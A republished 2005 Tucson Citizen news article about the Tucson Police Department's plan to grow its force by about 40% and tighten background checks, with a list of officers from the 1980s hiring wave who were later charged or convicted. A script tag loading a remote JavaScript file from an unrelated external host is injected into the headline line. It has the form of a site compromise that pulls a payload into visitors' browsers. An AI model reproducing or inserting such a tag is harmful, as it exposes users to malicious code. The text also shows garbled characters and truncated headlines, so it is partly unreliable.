NEWS > 02 December 2005

Article sourced from

Police recruit, Kory Fuller, 3<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>

Tucson Citizen - Tucson, AZ, U
02 December 2005

This article appeared in the above title/site.
To view it in its entirity click this link.

Police recruit, Kory Fuller, 3

Huge TPD hiring push seeks to

As force grows by 40%, TPD hopes better background checks will avoid problems encountered in 1980s
DAVID L. TEIBEL

Tucson Citizen

The Tucson Police Department is embarking on an "ambitious" expansion that will add nearly 400 officers over the next five years.

But such massive hiring can overwhelm background investigators, with marginal candidates slipping through the screening and being given a badge to wear and a gun to carry.

Hiring plans

The Police Department hopes to get City Council approval to hire 79 officers a year for the next five fiscal years, an increase of nearly 40 percent over the 1,004 officers the department is authorized.

The hiring plan, estimated to cost a cumulative $106 million after five years, also includes hiring 29 civilian employees a year for five years and hinges on police and city staff members coming up with a funding plan, said Assistant Chief Roberto Villase�or.

That has been the case in Tucson and several large cities. The Tucson department is hoping to learn from those mistakes.

On top of that, the department will need to hire about 40 to 60 more officers a year to replace those who quit or retire. That means hiring some 120 to 140 new officers a year, depending on the number of retirements or resignations, he said.

"We want to get up to a ratio of 2.4 (officers) per 1,000" Tucsonans, Villase�or said.

Nationally, cities of more than 250,000 people last year had a ratio of 2.8 officers per 1,000 residents, according to the FBI's annual Crime in the United States. Tucson's ratio last year and this year is 1.9, police figures show.

"It's a tremendous amount of hiring. It's probably a more ambitious hiring schedule than we've ever conceived," Villase�or said.

Problems arise

The danger of such rapid expansion is that people who should not be police officers - those with behavioral problems, a lack of ethics or criminal histories - may end up getting jobs as officers, said Michael Polakowski an associate professor at the University of Arizona's School of Public Administration and Policy.

Eventually, they may misuse their authority, "and they probably will venture into criminal activity," Polakowski said.

When police departments need to hire a lot of people in a hurry, Polakowski said, background investigations are a part of the screening that may suffer.

Some police departments farm out background investigations to private corporations, which, Polakowski said, are not always as thorough as police investigators normally would be, sometimes limiting the investigation to a couple of telephone calls to listed references.

"Typically," when police departments undertake mass hiring programs, he said, "we do not see an addition to the background services."

Problems have surfaced after massive hirings at other departments across the country, he said, such as in Miami, Los Angeles, Chicago and New York.

And it happened here.

Tucson police engaged in a large hiring program in the 1980s. That was partly because of a need to grow, but also to replace officers who were resigning or retiring, Villase�or said.

U.S. AVERAGE*

2.8 police officers per 1,000 residents

TUCSON, 2005

1.9 police officers per 1,000 residents

TPD GOAL

2.4 police officers per 1,000 residents

*For cities of 250,000 or more

From 1981 to 1989, the department's authorized strength grew from 577 to 751 officers - an increase of 30 percent, according to police figures.

By the end of 1996, a dozen officers had been charged with or convicted of crimes.

The list includes former policemen:

� Officer Charles Thomas Robb, accused of fondling women while on duty and sentenced to two years in prison and 10 years' probation after pleading guilty in the case.

� Officer Bryan Troy Mele, accused of molesting a 15-year-old girl after her parents secretly videotaped the pair at their home and presented the tape to investigators. He was convicted of aggravated assault on a minor and sentenced to three years' probation.

� Officer Luis R. Mariscal, sentenced to five years in prison and lifetime probation for two counts of attempted child molestation.

� Sgt. William Dainty, convicted of assault after kicking a restrained prisoner and sentenced to six months' unsupervised probation.

� Officer Eric Fasci was accused of fondling a woman while he was on duty. Fasci was acquitted of a sexual abuse charge but resigned when the FBI opened an investigation into allegations of improper sexual contact with two other women. Fasci was not charged in that case.

� Also, vice Detective Gabriel Abendano was shot and killed while committing a robbery outside a Tucson home, then-Police Chief Douglas Smith said at the time.

Smith said many of those problem officers were hired during the '80s.

"There's some truth to that," Villase�or said. "We're aware of that. We've learned from that."

Learning from the past

The Police Department is taking steps to upgrade and expand its background section.

"It's the winnowing process to make sure you're not letting people into the profession who don't belong in the profession," Villase�or said.

Until recently, the background section's investigators were drawn from the ranks of the injured, assigned to light duty while they recovered, Villase�or said. The temporary assignment usually lasted six months to a year.

That, said Officer Fred Cushman, assigned to background investigations, often was not enough time. Officers frequently were transferred just as they got proficient in background investigations, he said.

In response, four officers are assigned to background investigations on three-year assignments, Villase�or said.

Cushman said three officers on light duty also are assigned to backgrounds, temporarily giving the unit seven investigators.

The department has quit giving background investigations to detectives to do as best they could along with their criminal investigation caseloads, Villase�or said.

Also, the department hopes to get council approval to hire five retired officers temporarily to conduct background investigations, Villase�or said.

All this reflects the importance placed on background investigations, Villase�or said.

The process includes an application, written exam, preliminary screening interview, physical abilities test, oral board interview, lie-detector test, background investigation, psychological examination and medical examination.

It also includes filling out a detailed, 28-page personal questionnaire.

"They were very thorough, very in-depth. They called my family, they called my friends, neighbors, co-workers," said Seth Warner, a TPD recruit. "They know everything about me."

EiP Comments:

* We have no wish to infringe the copyright of any newspaper or periodical. If you feel that we have done so then please contact us with the details and we will remove the article. The articles republished on this site are provided for the purposes of research , private study, criticism , review, and the reporting of current events' We have no wish to infringe the copyright of any newspaper , periodical or other works. If you feel that we have done so then please contact us with the details and where necessary we will remove the work concerned.

Other related articles:

Article sourced from

Tucson Citizen - Tucson, AZ, U02 December 2005

Huge TPD hiring push seeks to

EiP Comments:

Tucson Citizen - Tucson, AZ, U
02 December 2005